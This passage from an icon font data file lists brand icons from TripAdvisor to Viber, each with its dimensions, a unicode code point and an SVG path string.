	"tripadvisor": [576, 512, [], "f262", "M528.91,178.82,576,127.58H471.66a326.11,326.11,0,0,0-367,0H0l47.09,51.24A143.911,143.911,0,0,0,241.86,390.73L288,440.93l46.11-50.17A143.94,143.94,0,0,0,575.88,285.18h-.03A143.56,143.56,0,0,0,528.91,178.82ZM144.06,382.57a97.39,97.39,0,1,1,97.39-97.39A97.39,97.39,0,0,1,144.06,382.57ZM288,282.37c0-64.09-46.62-119.08-108.09-142.59a281,281,0,0,1,216.17,0C334.61,163.3,288,218.29,288,282.37Zm143.88,100.2h-.01a97.405,97.405,0,1,1,.01,0ZM144.06,234.12h-.01a51.06,51.06,0,1,0,51.06,51.06v-.11A51,51,0,0,0,144.06,234.12Zm287.82,0a51.06,51.06,0,1,0,51.06,51.06A51.06,51.06,0,0,0,431.88,234.12Z"],
	"tumblr": [320, 512, [], "f173", "M309.8 480.3c-13.6 14.5-50 31.7-97.4 31.7-120.8 0-147-88.8-147-140.6v-144H17.9c-5.5 0-10-4.5-10-10v-68c0-7.2 4.5-13.6 11.3-16 62-21.8 81.5-76 84.3-117.1.8-11 6.5-16.3 16.1-16.3h70.9c5.5 0 10 4.5 10 10v115.2h83c5.5 0 10 4.4 10 9.9v81.7c0 5.5-4.5 10-10 10h-83.4V360c0 34.2 23.7 53.6 68 35.8 4.8-1.9 9-3.2 12.7-2.2 3.5.9 5.8 3.4 7.4 7.9l22 64.3c1.8 5 3.3 10.6-.4 14.5z"],
	"tumblr-square": [448, 512, [], "f174", "M400 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zm-82.3 364.2c-8.5 9.1-31.2 19.8-60.9 19.8-75.5 0-91.9-55.5-91.9-87.9v-90h-29.7c-3.4 0-6.2-2.8-6.2-6.2v-42.5c0-4.5 2.8-8.5 7.1-10 38.8-13.7 50.9-47.5 52.7-73.2.5-6.9 4.1-10.2 10-10.2h44.3c3.4 0 6.2 2.8 6.2 6.2v72h51.9c3.4 0 6.2 2.8 6.2 6.2v51.1c0 3.4-2.8 6.2-6.2 6.2h-52.1V321c0 21.4 14.8 33.5 42.5 22.4 3-1.2 5.6-2 8-1.4 2.2.5 3.6 2.1 4.6 4.9l13.8 40.2c1 3.2 2 6.7-.3 9.1z"],
	"twitch": [512, 512, [], "f1e8", "M391.17,103.47H352.54v109.7h38.63ZM285,103H246.37V212.75H285ZM120.83,0,24.31,91.42V420.58H140.14V512l96.53-91.42h77.25L487.69,256V0ZM449.07,237.75l-77.22,73.12H294.61l-67.6,64v-64H140.14V36.58H449.07Z"],
	"twitter": [512, 512, [], "f099", "M459.37 151.716c.325 4.548.325 9.097.325 13.645 0 138.72-105.583 298.558-298.558 298.558-59.452 0-114.68-17.219-161.137-47.106 8.447.974 16.568 1.299 25.34 1.299 49.055 0 94.213-16.568 130.274-44.832-46.132-.975-84.792-31.188-98.112-72.772 6.498.974 12.995 1.624 19.818 1.624 9.421 0 18.843-1.3 27.614-3.573-48.081-9.747-84.143-51.98-84.143-102.985v-1.299c13.969 7.797 30.214 12.67 47.431 13.319-28.264-18.843-46.781-51.005-46.781-87.391 0-19.492 5.197-37.36 14.294-52.954 51.655 63.675 129.3 105.258 216.365 109.807-1.624-7.797-2.599-15.918-2.599-24.04 0-57.828 46.782-104.934 104.934-104.934 30.213 0 57.502 12.67 76.67 33.137 23.715-4.548 46.456-13.32 66.599-25.34-7.798 24.366-24.366 44.833-46.132 57.827 21.117-2.273 41.584-8.122 60.426-16.243-14.292 20.791-32.161 39.308-52.628 54.253z"],
	"twitter-square": [448, 512, [], "f081", "M400 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zm-48.9 158.8c.2 2.8.2 5.7.2 8.5 0 86.7-66 186.6-186.6 186.6-37.2 0-71.7-10.8-100.7-29.4 5.3.6 10.4.8 15.8.8 30.7 0 58.9-10.4 81.4-28-28.8-.6-53-19.5-61.3-45.5 10.1 1.5 19.2 1.5 29.6-1.2-30-6.1-52.5-32.5-52.5-64.4v-.8c8.7 4.9 18.9 7.9 29.6 8.3a65.447 65.447 0 0 1-29.2-54.6c0-12.2 3.2-23.4 8.9-33.1 32.3 39.8 80.8 65.8 135.2 68.6-9.3-44.5 24-80.6 64-80.6 18.9 0 35.9 7.9 47.9 20.7 14.8-2.8 29-8.3 41.6-15.8-4.9 15.2-15.2 28-28.8 36.1 13.2-1.4 26-5.1 37.8-10.2-8.9 13.1-20.1 24.7-32.9 34z"],
	"typo3": [448, 512, [], "f42b", "M178.7 78.4c0-24.7 5.4-32.4 13.9-39.4-69.5 8.5-149.3 34-176.3 66.4-5.4 7.7-9.3 20.8-9.3 37.1C7 246 113.8 480 191.1 480c36.3 0 97.3-59.5 146.7-139-7 2.3-11.6 2.3-18.5 2.3-57.2 0-140.6-198.5-140.6-264.9zM301.5 32c-30.1 0-41.7 5.4-41.7 36.3 0 66.4 53.8 198.5 101.7 198.5 26.3 0 78.8-99.7 78.8-182.3 0-40.9-67-52.5-138.8-52.5z"],
	"uber": [448, 512, [], "f402", "M414.1 32H33.9C15.2 32 0 47.2 0 65.9V446c0 18.8 15.2 34 33.9 34H414c18.7 0 33.9-15.2 33.9-33.9V65.9C448 47.2 432.8 32 414.1 32zM237.6 391.1C163 398.6 96.4 344.2 88.9 269.6h94.4V290c0 3.7 3 6.8 6.8 6.8H258c3.7 0 6.8-3 6.8-6.8v-67.9c0-3.7-3-6.8-6.8-6.8h-67.9c-3.7 0-6.8 3-6.8 6.8v20.4H88.9c7-69.4 65.4-122.2 135.1-122.2 69.7 0 128.1 52.8 135.1 122.2 7.5 74.5-46.9 141.1-121.5 148.6z"],
	"ubuntu": [496, 512, [], "f7df", "M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm52.7 93c8.8-15.2 28.3-20.5 43.5-11.7 15.3 8.8 20.5 28.3 11.7 43.6-8.8 15.2-28.3 20.5-43.5 11.7-15.3-8.9-20.5-28.4-11.7-43.6zM87.4 287.9c-17.6 0-31.9-14.3-31.9-31.9 0-17.6 14.3-31.9 31.9-31.9 17.6 0 31.9 14.3 31.9 31.9 0 17.6-14.3 31.9-31.9 31.9zm28.1 3.1c22.3-17.9 22.4-51.9 0-69.9 8.6-32.8 29.1-60.7 56.5-79.1l23.7 39.6c-51.5 36.3-51.5 112.5 0 148.8L172 370c-27.4-18.3-47.8-46.3-56.5-79zm228.7 131.7c-15.3 8.8-34.7 3.6-43.5-11.7-8.8-15.3-3.6-34.8 11.7-43.6 15.2-8.8 34.7-3.6 43.5 11.7 8.8 15.3 3.6 34.8-11.7 43.6zm.3-69.5c-26.7-10.3-56.1 6.6-60.5 35-5.2 1.4-48.9 14.3-96.7-9.4l22.5-40.3c57 26.5 123.4-11.7 128.9-74.4l46.1.7c-2.3 34.5-17.3 65.5-40.3 88.4zm-5.9-105.3c-5.4-62-71.3-101.2-128.9-74.4l-22.5-40.3c47.9-23.7 91.5-10.8 96.7-9.4 4.4 28.3 33.8 45.3 60.5 35 23.1 22.9 38 53.9 40.2 88.5l-46 .6z"],
	"uikit": [448, 512, [], "f403", "M443.9 128v256L218 512 0 384V169.7l87.6 45.1v117l133.5 75.5 135.8-75.5v-151l-101.1-57.6 87.6-53.1L443.9 128zM308.6 49.1L223.8 0l-88.6 54.8 86 47.3 87.4-53z"],
	"umbraco": [510, 512, [], "f8e8", "M255.35 8C118.36 7.83 7.14 118.72 7 255.68c-.07 137 111 248.2 248 248.27 136.85 0 247.82-110.7 248-247.67S392.34 8.17 255.35 8zm145 266q-1.14 40.68-14 65t-43.51 35q-30.61 10.7-85.45 10.47h-4.6q-54.78.22-85.44-10.47t-43.52-35q-12.85-24.36-14-65a224.81 224.81 0 0 1 0-30.71 418.37 418.37 0 0 1 3.6-43.88c1.88-13.39 3.57-22.58 5.4-32 1-4.88 1.28-6.42 1.82-8.45a5.09 5.09 0 0 1 4.9-3.89h.69l32 5a5.07 5.07 0 0 1 4.16 5 5 5 0 0 1 0 .77l-1.7 8.78q-2.41 13.25-4.84 33.68a380.62 380.62 0 0 0-2.64 42.15q-.28 40.43 8.13 59.83a43.87 43.87 0 0 0 31.31 25.18A243 243 0 0 0 250 340.6h10.25a242.64 242.64 0 0 0 57.27-5.16 43.86 43.86 0 0 0 31.15-25.23q8.53-19.42 8.13-59.78a388 388 0 0 0-2.6-42.15q-2.48-20.38-4.89-33.68l-1.69-8.78a5 5 0 0 1 0-.77 5 5 0 0 1 4.2-5l32-5h.82a5 5 0 0 1 4.9 3.89c.55 2.05.81 3.57 1.83 8.45 1.82 9.62 3.52 18.78 5.39 32a415.71 415.71 0 0 1 3.61 43.88 228.06 228.06 0 0 1-.04 30.73z"],
	"uncharted": [448, 512, [], "e084", "M171.73,232.813A5.381,5.381,0,0,0,176.7,229.5,48.081,48.081,0,0,1,191.6,204.244c1.243-.828,1.657-2.484,1.657-4.141a4.22,4.22,0,0,0-2.071-3.312L74.429,128.473,148.958,85a9.941,9.941,0,0,0,4.968-8.281,9.108,9.108,0,0,0-4.968-8.281L126.6,55.6a9.748,9.748,0,0,0-9.523,0l-100.2,57.966a9.943,9.943,0,0,0-4.969,8.281V236.954a9.109,9.109,0,0,0,4.969,8.281L39.235,258.07a8.829,8.829,0,0,0,4.968,1.242,9.4,9.4,0,0,0,6.625-2.484,10.8,10.8,0,0,0,2.9-7.039V164.5L169.66,232.4A4.5,4.5,0,0,0,171.73,232.813ZM323.272,377.73a12.478,12.478,0,0,0-4.969,1.242l-74.528,43.062V287.882c0-2.9-2.9-5.8-6.211-4.555a53.036,53.036,0,0,1-28.984.414,4.86,4.86,0,0,0-6.21,4.555V421.619l-74.529-43.061a8.83,8.83,0,0,0-4.969-1.242,9.631,9.631,0,0,0-9.523,9.523v26.085a9.107,9.107,0,0,0,4.969,8.281l100.2,57.553A8.829,8.829,0,0,0,223.486,480a11.027,11.027,0,0,0,4.969-1.242l100.2-57.553a9.941,9.941,0,0,0,4.968-8.281V386.839C332.8,382.285,328.24,377.73,323.272,377.73ZM286.007,78a23,23,0,1,0-23-23A23,23,0,0,0,286.007,78Zm63.627-10.086a23,23,0,1,0,23,23A23,23,0,0,0,349.634,67.914ZM412.816,151.6a23,23,0,1,0-23-23A23,23,0,0,0,412.816,151.6Zm-63.182-9.2a23,23,0,1,0,23,23A23,23,0,0,0,349.634,142.4Zm-63.627,83.244a23,23,0,1,0-23-23A23,23,0,0,0,286.007,225.648Zm-62.074,36.358a23,23,0,1,0-23-23A23,23,0,0,0,223.933,262.006Zm188.883-82.358a23,23,0,1,0,23,23A23,23,0,0,0,412.816,179.648Zm0,72.272a23,23,0,1,0,23,23A23,23,0,0,0,412.816,251.92Z"],
	"uniregistry": [384, 512, [], "f404", "M192 480c39.5 0 76.2-11.8 106.8-32.2H85.3C115.8 468.2 152.5 480 192 480zm-89.1-193.1v-12.4H0v12.4c0 2.5 0 5 .1 7.4h103.1c-.2-2.4-.3-4.9-.3-7.4zm20.5 57H8.5c2.6 8.5 5.8 16.8 9.6 24.8h138.3c-12.9-5.7-24.1-14.2-33-24.8zm-17.7-34.7H1.3c.9 7.6 2.2 15 3.9 22.3h109.7c-4-6.9-7.2-14.4-9.2-22.3zm-2.8-69.3H0v17.3h102.9zm0-173.2H0v4.9h102.9zm0-34.7H0v2.5h102.9zm0 69.3H0v7.4h102.9zm0 104H0v14.8h102.9zm0-69.3H0v9.9h102.9zm0 34.6H0V183h102.9zm166.2 160.9h109.7c1.8-7.3 3.1-14.7 3.9-22.3H278.3c-2.1 7.9-5.2 15.4-9.2 22.3zm12-185.7H384V136H281.1zm0 37.2H384v-12.4H281.1zm0-74.3H384v-7.4H281.1zm0-76.7v2.5H384V32zm-203 410.9h227.7c11.8-8.7 22.7-18.6 32.2-29.7H44.9c9.6 11 21.4 21 33.2 29.7zm203-371.3H384v-4.9H281.1zm0 148.5H384v-14.8H281.1zM38.8 405.7h305.3c6.7-8.5 12.6-17.6 17.8-27.2H23c5.2 9.6 9.2 18.7 15.8 27.2zm188.8-37.1H367c3.7-8 5.8-16.2 8.5-24.8h-115c-8.8 10.7-20.1 19.2-32.9 24.8zm53.5-81.7c0 2.5-.1 5-.4 7.4h103.1c.1-2.5.2-4.9.2-7.4v-12.4H281.1zm0-29.7H384v-17.3H281.1z"],
	"unity": [576, 512, [], "e049", "M498.11,206.4,445.31,14.72,248.2,66.08,219,116.14l-59.2-.43L15.54,256,159.82,396.32l59.17-.43,29.24,50,197.08,51.36,52.8-191.62-30-49.63ZM223.77,124.2,374.55,86.51,288,232.33H114.87Zm0,263.63L114.87,279.71H288l86.55,145.81Zm193,14L330.17,256l86.58-145.84L458.56,256Z"],
	"unsplash": [448, 512, [], "e07c", "M448,230.17V480H0V230.17H141.13V355.09H306.87V230.17ZM306.87,32H141.13V156.91H306.87Z"],
	"untappd": [640, 512, [], "f405", "M401.3 49.9c-79.8 160.1-84.6 152.5-87.9 173.2l-5.2 32.8c-1.9 12-6.6 23.5-13.7 33.4L145.6 497.1c-7.6 10.6-20.4 16.2-33.4 14.6-40.3-5-77.8-32.2-95.3-68.5-5.7-11.8-4.5-25.8 3.1-36.4l148.9-207.9c7.1-9.9 16.4-18 27.2-23.7l29.3-15.5c18.5-9.8 9.7-11.9 135.6-138.9 1-4.8 1-7.3 3.6-8 3-.7 6.6-1 6.3-4.6l-.4-4.6c-.2-1.9 1.3-3.6 3.2-3.6 4.5-.1 13.2 1.2 25.6 10 12.3 8.9 16.4 16.8 17.7 21.1.6 1.8-.6 3.7-2.4 4.2l-4.5 1.1c-3.4.9-2.5 4.4-2.3 7.4.1 2.8-2.3 3.6-6.5 6.1zM230.1 36.4c3.4.9 2.5 4.4 2.3 7.4-.2 2.7 2.1 3.5 6.4 6 7.9 15.9 15.3 30.5 22.2 44 .7 1.3 2.3 1.5 3.3.5 11.2-12 24.6-26.2 40.5-42.6 1.3-1.4 1.4-3.5.1-4.9-8-8.2-16.5-16.9-25.6-26.1-1-4.7-1-7.3-3.6-8-3-.8-6.6-1-6.3-4.6.3-3.3 1.4-8.1-2.8-8.2-4.5-.1-13.2 1.1-25.6 10-12.3 8.9-16.4 16.8-17.7 21.1-1.4 4.2 3.6 4.6 6.8 5.4zM620 406.7L471.2 198.8c-13.2-18.5-26.6-23.4-56.4-39.1-11.2-5.9-14.2-10.9-30.5-28.9-1-1.1-2.9-.9-3.6.5-46.3 88.8-47.1 82.8-49 94.8-1.7 10.7-1.3 20 .3 29.8 1.9 12 6.6 23.5 13.7 33.4l148.9 207.9c7.6 10.6 20.2 16.2 33.1 14.7 40.3-4.9 78-32 95.7-68.6 5.4-11.9 4.3-25.9-3.4-36.6z"],
	"ups": [384, 512, [], "f7e0", "M103.2 303c-5.2 3.6-32.6 13.1-32.6-19V180H37.9v102.6c0 74.9 80.2 51.1 97.9 39V180h-32.6zM4 74.82v220.9c0 103.7 74.9 135.2 187.7 184.1 112.4-48.9 187.7-80.2 187.7-184.1V74.82c-116.3-61.6-281.8-49.6-375.4 0zm358.1 220.9c0 86.6-53.2 113.6-170.4 165.3-117.5-51.8-170.5-78.7-170.5-165.3v-126.4c102.3-93.8 231.6-100 340.9-89.8zm-209.6-107.4v212.8h32.7v-68.7c24.4 7.3 71.7-2.6 71.7-78.5 0-97.4-80.7-80.92-104.4-65.6zm32.7 117.3v-100.3c8.4-4.2 38.4-12.7 38.4 49.3 0 67.9-36.4 51.8-38.4 51zm79.1-86.4c.1 47.3 51.6 42.5 52.2 70.4.6 23.5-30.4 23-50.8 4.9v30.1c36.2 21.5 81.9 8.1 83.2-33.5 1.7-51.5-54.1-46.6-53.4-73.2.6-20.3 30.6-20.5 48.5-2.2v-28.4c-28.5-22-79.9-9.2-79.7 31.9z"],
	"usb": [640, 512, [], "f287", "M641.5 256c0 3.1-1.7 6.1-4.5 7.5L547.9 317c-1.4.8-2.8 1.4-4.5 1.4-1.4 0-3.1-.3-4.5-1.1-2.8-1.7-4.5-4.5-4.5-7.8v-35.6H295.7c25.3 39.6 40.5 106.9 69.6 106.9H392V354c0-5 3.9-8.9 8.9-8.9H490c5 0 8.9 3.9 8.9 8.9v89.1c0 5-3.9 8.9-8.9 8.9h-89.1c-5 0-8.9-3.9-8.9-8.9v-26.7h-26.7c-75.4 0-81.1-142.5-124.7-142.5H140.3c-8.1 30.6-35.9 53.5-69 53.5C32 327.3 0 295.3 0 256s32-71.3 71.3-71.3c33.1 0 61 22.8 69 53.5 39.1 0 43.9 9.5 74.6-60.4C255 88.7 273 95.7 323.8 95.7c7.5-20.9 27-35.6 50.4-35.6 29.5 0 53.5 23.9 53.5 53.5s-23.9 53.5-53.5 53.5c-23.4 0-42.9-14.8-50.4-35.6H294c-29.1 0-44.3 67.4-69.6 106.9h310.1v-35.6c0-3.3 1.7-6.1 4.5-7.8 2.8-1.7 6.4-1.4 8.9.3l89.1 53.5c2.8 1.1 4.5 4.1 4.5 7.2z"],
	"usps": [576, 512, [], "f7e1", "M460.3 241.7c25.8-41.3 15.2-48.8-11.7-48.8h-27c-.1 0-1.5-1.4-10.9 8-11.2 5.6-37.9 6.3-37.9 8.7 0 4.5 70.3-3.1 88.1 0 9.5 1.5-1.5 20.4-4.4 32-.5 4.5 2.4 2.3 3.8.1zm-112.1 22.6c64-21.3 97.3-23.9 102-26.2 4.4-2.9-4.4-6.6-26.2-5.8-51.7 2.2-137.6 37.1-172.6 53.9l-30.7-93.3h196.6c-2.7-28.2-152.9-22.6-337.9-22.6L27 415.8c196.4-97.3 258.9-130.3 321.2-151.5zM94.7 96c253.3 53.7 330 65.7 332.1 85.2 36.4 0 45.9 0 52.4 6.6 21.1 19.7-14.6 67.7-14.6 67.7-4.4 2.9-406.4 160.2-406.4 160.2h423.1L549 96z"],
	"ussunnah": [512, 512, [], "f407", "M156.8 285.1l5.7 14.4h-8.2c-1.3-3.2-3.1-7.7-3.8-9.5-2.5-6.3-1.1-8.4 0-10 1.9-2.7 3.2-4.4 3.6-5.2 0 2.2.8 5.7 2.7 10.3zm297.3 18.8c-2.1 13.8-5.7 27.1-10.5 39.7l43 23.4-44.8-18.8c-5.3 13.2-12 25.6-19.9 37.2l34.2 30.2-36.8-26.4c-8.4 11.8-18 22.6-28.7 32.3l24.9 34.7-28.1-31.8c-11 9.6-23.1 18-36.1 25.1l15.7 37.2-19.3-35.3c-13.1 6.8-27 12.1-41.6 15.9l6.7 38.4-10.5-37.4c-14.3 3.4-29.2 5.3-44.5 5.4L256 512l-1.9-38.4c-15.3-.1-30.2-2-44.5-5.3L199 505.6l6.7-38.2c-14.6-3.7-28.6-9.1-41.7-15.8l-19.2 35.1 15.6-37c-13-7-25.2-15.4-36.2-25.1l-27.9 31.6 24.7-34.4c-10.7-9.7-20.4-20.5-28.8-32.3l-36.5 26.2 33.9-29.9c-7.9-11.6-14.6-24.1-20-37.3l-44.4 18.7L67.8 344c-4.8-12.7-8.4-26.1-10.5-39.9l-51 9 50.3-14.2c-1.1-8.5-1.7-17.1-1.7-25.9 0-4.7.2-9.4.5-14.1L0 256l56-2.8c1.3-13.1 3.8-25.8 7.5-38.1L6.4 199l58.9 10.4c4-12 9.1-23.5 15.2-34.4l-55.1-30 58.3 24.6C90 159 97.2 149.2 105.3 140L55.8 96.4l53.9 38.7c8.1-8.6 17-16.5 26.6-23.6l-40-55.6 45.6 51.6c9.5-6.6 19.7-12.3 30.3-17.2l-27.3-64.9 33.8 62.1c10.5-4.4 21.4-7.9 32.7-10.4L199 6.4l19.5 69.2c11-2.1 22.3-3.2 33.8-3.4L256 0l3.6 72.2c11.5.2 22.8 1.4 33.8 3.5L313 6.4l-12.4 70.7c11.3 2.6 22.2 6.1 32.6 10.5l33.9-62.2-27.4 65.1c10.6 4.9 20.7 10.7 30.2 17.2l45.8-51.8-40.1 55.9c9.5 7.1 18.4 15 26.5 23.6l54.2-38.9-49.7 43.9c8 9.1 15.2 18.9 21.5 29.4l58.7-24.7-55.5 30.2c6.1 10.9 11.1 22.3 15.1 34.3l59.3-10.4-57.5 16.2c3.7 12.2 6.2 24.9 7.5 37.9L512 256l-56 2.8c.3 4.6.5 9.3.5 14.1 0 8.7-.6 17.3-1.6 25.8l50.7 14.3-51.5-9.1zm-21.8-31c0-97.5-79-176.5-176.5-176.5s-176.5 79-176.5 176.5 79 176.5 176.5 176.5 176.5-79 176.5-176.5zm-24 0c0 84.3-68.3 152.6-152.6 152.6s-152.6-68.3-152.6-152.6 68.3-152.6 152.6-152.6 152.6 68.3 152.6 152.6zM195 241c0 2.1 1.3 3.8 3.6 5.1 3.3 1.9 6.2 4.6 8.2 8.2 2.8-5.7 4.3-9.5 4.3-11.2 0-2.2-1.1-4.4-3.2-7-2.1-2.5-3.2-5.2-3.3-7.7-6.5 6.8-9.6 10.9-9.6 12.6zm-40.7-19c0 2.1 1.3 3.8 3.6 5.1 3.5 1.9 6.2 4.6 8.2 8.2 2.8-5.7 4.3-9.5 4.3-11.2 0-2.2-1.1-4.4-3.2-7-2.1-2.5-3.2-5.2-3.3-7.7-6.5 6.8-9.6 10.9-9.6 12.6zm-19 0c0 2.1 1.3 3.8 3.6 5.1 3.3 1.9 6.2 4.6 8.2 8.2 2.8-5.7 4.3-9.5 4.3-11.2 0-2.2-1.1-4.4-3.2-7-2.1-2.5-3.2-5.2-3.3-7.7-6.4 6.8-9.6 10.9-9.6 12.6zm204.9 87.9c-8.4-3-8.7-6.8-8.7-15.6V182c-8.2 12.5-14.2 18.6-18 18.6 6.3 14.4 9.5 23.9 9.5 28.3v64.3c0 2.2-2.2 6.5-4.7 6.5h-18c-2.8-7.5-10.2-26.9-15.3-40.3-2 2.5-7.2 9.2-10.7 13.7 2.4 1.6 4.1 3.6 5.2 6.3 2.6 6.7 6.4 16.5 7.9 20.2h-9.2c-3.9-10.4-9.6-25.4-11.8-31.1-2 2.5-7.2 9.2-10.7 13.7 2.4 1.6 4.1 3.6 5.2 6.3.8 2 2.8 7.3 4.3 10.9H256c-1.5-4.1-5.6-14.6-8.4-22-2 2.5-7.2 9.2-10.7 13.7 2.5 1.6 4.3 3.6 5.2 6.3.2.6.5 1.4.6 1.7H225c-4.6-13.9-11.4-27.7-11.4-34.1 0-2.2.3-5.1 1.1-8.2-8.8 10.8-14 15.9-14 25 0 7.5 10.4 28.3 10.4 33.3 0 1.7-.5 3.3-1.4 4.9-9.6-12.7-15.5-20.7-18.8-20.7h-12l-11.2-28c-3.8-9.6-5.7-16-5.7-18.8 0-3.8.5-7.7 1.7-12.2-1 1.3-3.7 4.7-5.5 7.1-.8-2.1-3.1-7.7-4.6-11.5-2.1 2.5-7.5 9.1-11.2 13.6.9 2.3 3.3 8.1 4.9 12.2-2.5 3.3-9.1 11.8-13.6 17.7-4 5.3-5.8 13.3-2.7 21.8 2.5 6.7 2 7.9-1.7 14.1H191c5.5 0 14.3 14 15.5 22 13.2-16 15.4-19.6 16.8-21.6h107c3.9 0 7.2-1.9 9.9-5.8zm20.1-26.6V181.7c-9 12.5-15.9 18.6-20.7 18.6 7.1 14.4 10.7 23.9 10.7 28.3v66.3c0 17.5 8.6 20.4 24 20.4 8.1 0 12.5-.8 13.7-2.7-4.3-1.6-7.6-2.5-9.9-3.3-8.1-3.2-17.8-7.4-17.8-26z"],
	"vaadin": [448, 512, [], "f408", "M224.5 140.7c1.5-17.6 4.9-52.7 49.8-52.7h98.6c20.7 0 32.1-7.8 32.1-21.6V54.1c0-12.2 9.3-22.1 21.5-22.1S448 41.9 448 54.1v36.5c0 42.9-21.5 62-66.8 62H280.7c-30.1 0-33 14.7-33 27.1 0 1.3-.1 2.5-.2 3.7-.7 12.3-10.9 22.2-23.4 22.2s-22.7-9.8-23.4-22.2c-.1-1.2-.2-2.4-.2-3.7 0-12.3-3-27.1-33-27.1H66.8c-45.3 0-66.8-19.1-66.8-62V54.1C0 41.9 9.4 32 21.6 32s21.5 9.9 21.5 22.1v12.3C43.1 80.2 54.5 88 75.2 88h98.6c44.8 0 48.3 35.1 49.8 52.7h.9zM224 456c11.5 0 21.4-7 25.7-16.3 1.1-1.8 97.1-169.6 98.2-171.4 11.9-19.6-3.2-44.3-27.2-44.3-13.9 0-23.3 6.4-29.8 20.3L224 362l-66.9-117.7c-6.4-13.9-15.9-20.3-29.8-20.3-24 0-39.1 24.6-27.2 44.3 1.1 1.9 97.1 169.6 98.2 171.4 4.3 9.3 14.2 16.3 25.7 16.3z"],
	"viacoin": [384, 512, [], "f237", "M384 32h-64l-80.7 192h-94.5L64 32H0l48 112H0v48h68.5l13.8 32H0v48h102.8L192 480l89.2-208H384v-48h-82.3l13.8-32H384v-48h-48l48-112zM192 336l-27-64h54l-27 64z"],
	"viadeo": [448, 512, [], "f2a9", "M276.2 150.5v.7C258.3 98.6 233.6 47.8 205.4 0c43.3 29.2 67 100 70.8 150.5zm32.7 121.7c7.6 18.2 11 37.5 11 57 0 77.7-57.8 141-137.8 139.4l3.8-.3c74.2-46.7 109.3-118.6 109.3-205.1 0-38.1-6.5-75.9-18.9-112 1 11.7 1 23.7 1 35.4 0 91.8-18.1 241.6-116.6 280C95 455.2 49.4 398 49.4 329.2c0-75.6 57.4-142.3 135.4-142.3 16.8 0 33.7 3.1 49.1 9.6 1.7-15.1 6.5-29.9 13.4-43.3-19.9-7.2-41.2-10.7-62.5-10.7-161.5 0-238.7 195.9-129.9 313.7 67.9 74.6 192 73.9 259.8 0 56.6-61.3 60.9-142.4 36.4-201-12.7 8-27.1 13.9-42.2 17zM418.1 11.7c-31 66.5-81.3 47.2-115.8 80.1-12.4 12-20.6 34-20.6 50.5 0 14.1 4.5 27.1 12 38.8 47.4-11 98.3-46 118.2-90.7-.7 5.5-4.8 14.4-7.2 19.2-20.3 35.7-64.6 65.6-99.7 84.9 14.8 14.4 33.7 25.8 55 25.8 79 0 110.1-134.6 58.1-208.6z"],
	"viadeo-square": [448, 512, [], "f2aa", "M400 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zM280.7 381.2c-42.4 46.2-120 46.6-162.4 0-68-73.6-19.8-196.1 81.2-196.1 13.3 0 26.6 2.1 39.1 6.7-4.3 8.4-7.3 17.6-8.4 27.1-9.7-4.1-20.2-6-30.7-6-48.8 0-84.6 41.7-84.6 88.9 0 43 28.5 78.7 69.5 85.9 61.5-24 72.9-117.6 72.9-175 0-7.3 0-14.8-.6-22.1-11.2-32.9-26.6-64.6-44.2-94.5 27.1 18.3 41.9 62.5 44.2 94.1v.4c7.7 22.5 11.8 46.2 11.8 70 0 54.1-21.9 99-68.3 128.2l-2.4.2c50 1 86.2-38.6 86.2-87.2 0-12.2-2.1-24.3-6.9-35.7 9.5-1.9 18.5-5.6 26.4-10.5 15.3 36.6 12.6 87.3-22.8 125.6zM309 233.7c-13.3 0-25.1-7.1-34.4-16.1 21.9-12 49.6-30.7 62.3-53 1.5-3 4.1-8.6 4.5-12-12.5 27.9-44.2 49.8-73.9 56.7-4.7-7.3-7.5-15.5-7.5-24.3 0-10.3 5.2-24.1 12.9-31.6 21.6-20.5 53-8.5 72.4-50 32.5 46.2 13.1 130.3-36.3 130.3z"],
	"viber": [512, 512, [], "f409", "M444 49.9C431.3 38.2 379.9.9 265.3.4c0 0-135.1-8.1-200.9 52.3C27.8 89.3 14.9 143 13.5 209.5c-1.4 66.5-3.1 191.1 117 224.9h.1l-.1 51.6s-.8 20.9 13 25.1c16.6 5.2 26.4-10.7 42.3-27.8 8.7-9.4 20.7-23.2 29.8-33.7 82.2 6.9 145.3-8.9 152.5-11.2 16.6-5.4 110.5-17.4 125.7-142 15.8-128.6-7.6-209.8-49.8-246.5zM457.9 287c-12.9 104-89 110.6-103 115.1-6 1.9-61.5 15.7-131.2 11.2 0 0-52 62.7-68.2 79-5.3 5.3-11.1 4.8-11-5.7 0-6.9.4-85.7.4-85.7-.1 0-.1 0 0 0-101.8-28.2-95.8-134.3-94.7-189.8 1.1-55.5 11.6-101 42.6-131.6 55.7-50.5 170.4-43 170.4-43 96.9.4 143.3 29.6 154.1 39.4 35.7 30.6 53.9 103.8 40.6 211.1zm-139-80.8c.4 8.6-12.5 9.2-12.9.6-1.1-22-11.4-32.7-32.6-33.9-8.6-.5-7.8-13.4.7-12.9 27.9 1.5 43.4 17.5 44.8 46.2zm20.3 11.3c1-42.4-25.5-75.6-75.8-79.3-8.5-.6-7.6-13.5.9-12.9 58 4.2 88.9 44.1 87.8 92.5-.1 8.6-13.1 8.2-12.9-.3zm47 13.4c.1 8.6-12.9 8.7-12.9.1-.6-81.5-54.9-125.9-120.8-126.4-8.5-.1-8.5-12.9 0-12.9 73.7.5 133 51.4 133.7 139.2zM374.9 329v.2c-10.8 19-31 40-51.8 33.3l-.2-.3c-21.1-5.9-70.8-31.5-102.2-56.5-16.2-12.8-31-27.9-42.4-42.4-10.3-12.9-20.7-28.2-30.8-46.6-21.3-38.5-26-55.7-26-55.7-6.7-20.8 14.2-41 33.3-51.8h.2c9.2-4.8 18-3.2 23.9 3.9 0 0 12.4 14.8 17.7 22.1 5 6.8 11.7 17.7 15.2 23.8 6.1 10.9 2.3 22-3.7 26.6l-12 9.6c-6.1 4.9-5.3 14-5.3 14s17.8 67.3 84.3 84.3c0 0 9.1.8 14-5.3l9.6-12c4.6-6 15.7-9.8 26.6-3.7 14.7 8.3 33.4 21.2 45.8 32.9 7 5.7 8.6 14.4 3.8 23.6z"],
